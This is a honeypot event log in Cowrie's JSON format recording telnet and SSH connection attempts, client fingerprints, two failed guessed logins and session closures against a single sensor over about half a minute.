{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50630,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd1e3afa048a","protocol":"telnet","message":"New connection: 209.159.146.115:50630 (159.203.135.109:23) [session: cd1e3afa048a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:28.358108Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58720,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7599400db1e","protocol":"telnet","message":"New connection: 209.159.146.115:58720 (159.203.135.109:23) [session: f7599400db1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:30.127424Z"}
{"eventid":"cowrie.session.closed","duration":34.41406440734863,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:30.248965Z","src_ip":"209.159.146.115","session":"71190b8e6af6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00612545013428,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:30.294707Z","src_ip":"209.159.146.115","session":"e637bbe8b241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04481887817383,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:30.501161Z","src_ip":"209.159.146.115","session":"2e327496f90d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19889807701111,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:31.319948Z","src_ip":"209.159.146.115","session":"93121b0b2b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30373001098633,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:31.334003Z","src_ip":"209.159.146.115","session":"32b43d893cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.376481771469116,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:31.986850Z","src_ip":"209.159.146.115","session":"8740b50dead7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770586013793945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:32.073584Z","src_ip":"57.128.88.161","session":"fbf9b1a1394e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43438,"dst_ip":"159.203.135.109","dst_port":22,"session":"12da780665a7","protocol":"ssh","message":"New connection: 159.203.92.129:43438 (159.203.135.109:22) [session: 12da780665a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:32.667860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:32.672584Z","src_ip":"159.203.92.129","session":"12da780665a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:32.678253Z","src_ip":"159.203.92.129","session":"12da780665a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55270,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5615de46752","protocol":"telnet","message":"New connection: 209.159.146.115:55270 (159.203.135.109:23) [session: b5615de46752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:32.685675Z"}
{"eventid":"cowrie.login.failed","username":"andy","password":"andy","message":"login attempt [andy/andy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:32.694238Z","src_ip":"159.203.92.129","session":"12da780665a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:33.700556Z","src_ip":"159.203.92.129","session":"12da780665a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":56074,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb14542db2c","protocol":"telnet","message":"New connection: 57.128.88.161:56074 (159.203.135.109:23) [session: cdb14542db2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:34.419937Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60068,"dst_ip":"159.203.135.109","dst_port":23,"session":"cca9e6546c9a","protocol":"telnet","message":"New connection: 209.159.146.115:60068 (159.203.135.109:23) [session: cca9e6546c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:34.587640Z"}
{"eventid":"cowrie.session.closed","duration":33.8225998878479,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:34.986731Z","src_ip":"209.159.146.115","session":"bf1fe2892d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":56082,"dst_ip":"159.203.135.109","dst_port":23,"session":"58f0eb80548e","protocol":"telnet","message":"New connection: 57.128.88.161:56082 (159.203.135.109:23) [session: 58f0eb80548e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:36.525991Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":56088,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcd593174f91","protocol":"telnet","message":"New connection: 57.128.88.161:56088 (159.203.135.109:23) [session: bcd593174f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:37.413725Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":36230,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9dfc2608916","protocol":"ssh","message":"New connection: 186.13.24.118:36230 (159.203.135.109:22) [session: d9dfc2608916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:37.551557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:37.562601Z","src_ip":"186.13.24.118","session":"d9dfc2608916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:37.722635Z","src_ip":"186.13.24.118","session":"d9dfc2608916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91496753692627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:38.115947Z","src_ip":"57.128.88.161","session":"b1a072b3737a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"richard","password":"test123","message":"login attempt [richard/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:38.390888Z","src_ip":"186.13.24.118","session":"d9dfc2608916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56288,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b94799dd43","protocol":"telnet","message":"New connection: 209.159.146.115:56288 (159.203.135.109:23) [session: 85b94799dd43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:39.507304Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:39.552572Z","src_ip":"186.13.24.118","session":"d9dfc2608916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.072628498077393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:39.999605Z","src_ip":"57.128.88.161","session":"c13bb956ae99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052122354507446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:40.349021Z","src_ip":"57.128.88.161","session":"9b3962aef26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60060,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d93e99be1d4","protocol":"telnet","message":"New connection: 209.159.146.115:60060 (159.203.135.109:23) [session: 0d93e99be1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:40.530176Z"}
{"eventid":"cowrie.session.closed","duration":37.05548691749573,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:40.534993Z","src_ip":"185.26.126.47","session":"5c4b5ae44624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.878092527389526,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:40.616068Z","src_ip":"209.159.146.115","session":"3e1e2e06f724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":56092,"dst_ip":"159.203.135.109","dst_port":23,"session":"d18f6be054ef","protocol":"telnet","message":"New connection: 57.128.88.161:56092 (159.203.135.109:23) [session: d18f6be054ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:40.642778Z"}
{"eventid":"cowrie.session.closed","duration":32.05873703956604,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:41.079359Z","src_ip":"209.159.146.115","session":"da209cf31b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34592,"dst_ip":"159.203.135.109","dst_port":23,"session":"11821f0c8cdb","protocol":"telnet","message":"New connection: 209.159.146.115:34592 (159.203.135.109:23) [session: 11821f0c8cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:41.119256Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":56094,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f7f9b21a5ab","protocol":"telnet","message":"New connection: 57.128.88.161:56094 (159.203.135.109:23) [session: 2f7f9b21a5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:41.299454Z"}
{"eventid":"cowrie.session.closed","duration":37.22626447677612,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:41.956945Z","src_ip":"209.159.146.115","session":"4497f3f88a31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37756,"dst_ip":"159.203.135.109","dst_port":23,"session":"af627a7a24aa","protocol":"telnet","message":"New connection: 209.159.146.115:37756 (159.203.135.109:23) [session: af627a7a24aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:42.062193Z"}
{"eventid":"cowrie.session.closed","duration":33.70002365112305,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:42.169045Z","src_ip":"209.159.146.115","session":"c26adb396a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":47798,"dst_ip":"159.203.135.109","dst_port":23,"session":"2571429f5678","protocol":"telnet","message":"New connection: 57.128.88.161:47798 (159.203.135.109:23) [session: 2571429f5678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:42.708724Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":47810,"dst_ip":"159.203.135.109","dst_port":23,"session":"892f50c99393","protocol":"telnet","message":"New connection: 57.128.88.161:47810 (159.203.135.109:23) [session: 892f50c99393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:42.825076Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":47814,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e15877f705","protocol":"telnet","message":"New connection: 57.128.88.161:47814 (159.203.135.109:23) [session: f8e15877f705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:44.239621Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":47824,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba5d480b993","protocol":"telnet","message":"New connection: 57.128.88.161:47824 (159.203.135.109:23) [session: 4ba5d480b993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:44.351673Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":47826,"dst_ip":"159.203.135.109","dst_port":23,"session":"46191f75d966","protocol":"telnet","message":"New connection: 57.128.88.161:47826 (159.203.135.109:23) [session: 46191f75d966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:44.430122Z"}
{"eventid":"cowrie.session.closed","duration":36.00380563735962,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:44.952593Z","src_ip":"209.159.146.115","session":"8d8991910e3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.553295850753784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:45.305016Z","src_ip":"57.128.88.161","session":"b8676138123c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":47834,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aa4429746b9","protocol":"telnet","message":"New connection: 57.128.88.161:47834 (159.203.135.109:23) [session: 6aa4429746b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:45.415046Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":47844,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd32ede5301a","protocol":"telnet","message":"New connection: 57.128.88.161:47844 (159.203.135.109:23) [session: bd32ede5301a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:46.240783Z"}
{"eventid":"cowrie.session.closed","duration":30.20551109313965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:47.041714Z","src_ip":"57.128.88.161","session":"9fb558702dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.92312979698181,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:47.174895Z","src_ip":"209.159.146.115","session":"e4334db3c6af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.940459966659546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:47.508487Z","src_ip":"209.159.146.115","session":"1eb1546a695c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56924,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c50a1713e77","protocol":"telnet","message":"New connection: 209.159.146.115:56924 (159.203.135.109:23) [session: 5c50a1713e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:47.943005Z"}
{"eventid":"cowrie.session.closed","duration":30.375879049301147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:48.248973Z","src_ip":"57.128.88.161","session":"4f02c3fed26f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58928,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc0250a1f0b","protocol":"telnet","message":"New connection: 209.159.146.115:58928 (159.203.135.109:23) [session: 5cc0250a1f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:48.992226Z"}
{"eventid":"cowrie.session.closed","duration":31.47208046913147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:49.882989Z","src_ip":"57.128.88.161","session":"d7bc61929ce0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.81869697570801,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:50.513292Z","src_ip":"209.159.146.115","session":"2395148d3dfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54044,"dst_ip":"159.203.135.109","dst_port":23,"session":"be3fc3906e2e","protocol":"telnet","message":"New connection: 57.128.88.161:54044 (159.203.135.109:23) [session: be3fc3906e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:52.042543Z"}
{"eventid":"cowrie.session.closed","duration":30.710468292236328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:53.038368Z","src_ip":"57.128.88.161","session":"2b0a5fa59c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.443899154663086,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:53.590397Z","src_ip":"209.159.146.115","session":"e34d8880076c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44134,"dst_ip":"159.203.135.109","dst_port":23,"session":"119c871eac8e","protocol":"telnet","message":"New connection: 209.159.146.115:44134 (159.203.135.109:23) [session: 119c871eac8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:53.819378Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54058,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac73aacb815b","protocol":"telnet","message":"New connection: 57.128.88.161:54058 (159.203.135.109:23) [session: ac73aacb815b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:55.932740Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54072,"dst_ip":"159.203.135.109","dst_port":23,"session":"48e2207e0ee6","protocol":"telnet","message":"New connection: 57.128.88.161:54072 (159.203.135.109:23) [session: 48e2207e0ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:56.444667Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54088,"dst_ip":"159.203.135.109","dst_port":23,"session":"99cc84a0dd06","protocol":"telnet","message":"New connection: 57.128.88.161:54088 (159.203.135.109:23) [session: 99cc84a0dd06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:56.611804Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54104,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a308725971","protocol":"telnet","message":"New connection: 57.128.88.161:54104 (159.203.135.109:23) [session: 55a308725971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:56.860078Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35496,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8df8880f112","protocol":"telnet","message":"New connection: 209.159.146.115:35496 (159.203.135.109:23) [session: e8df8880f112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:56.996323Z"}
{"eventid":"cowrie.session.closed","duration":30.913341283798218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:57.151243Z","src_ip":"57.128.88.161","session":"1b9fc2cda17f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54112,"dst_ip":"159.203.135.109","dst_port":23,"session":"f750e28ba692","protocol":"telnet","message":"New connection: 57.128.88.161:54112 (159.203.135.109:23) [session: f750e28ba692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:57.201585Z"}
{"eventid":"cowrie.session.closed","duration":30.678099632263184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:58.044847Z","src_ip":"57.128.88.161","session":"d91b1bf77d11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54116,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c2761d4d277","protocol":"telnet","message":"New connection: 57.128.88.161:54116 (159.203.135.109:23) [session: 5c2761d4d277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:58.622025Z"}
{"eventid":"cowrie.session.closed","duration":32.43121337890625,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:50:59.234484Z","src_ip":"209.159.146.115","session":"50653875387f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41090,"dst_ip":"159.203.135.109","dst_port":23,"session":"681f5e0a018e","protocol":"telnet","message":"New connection: 209.159.146.115:41090 (159.203.135.109:23) [session: 681f5e0a018e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:00.074351Z"}
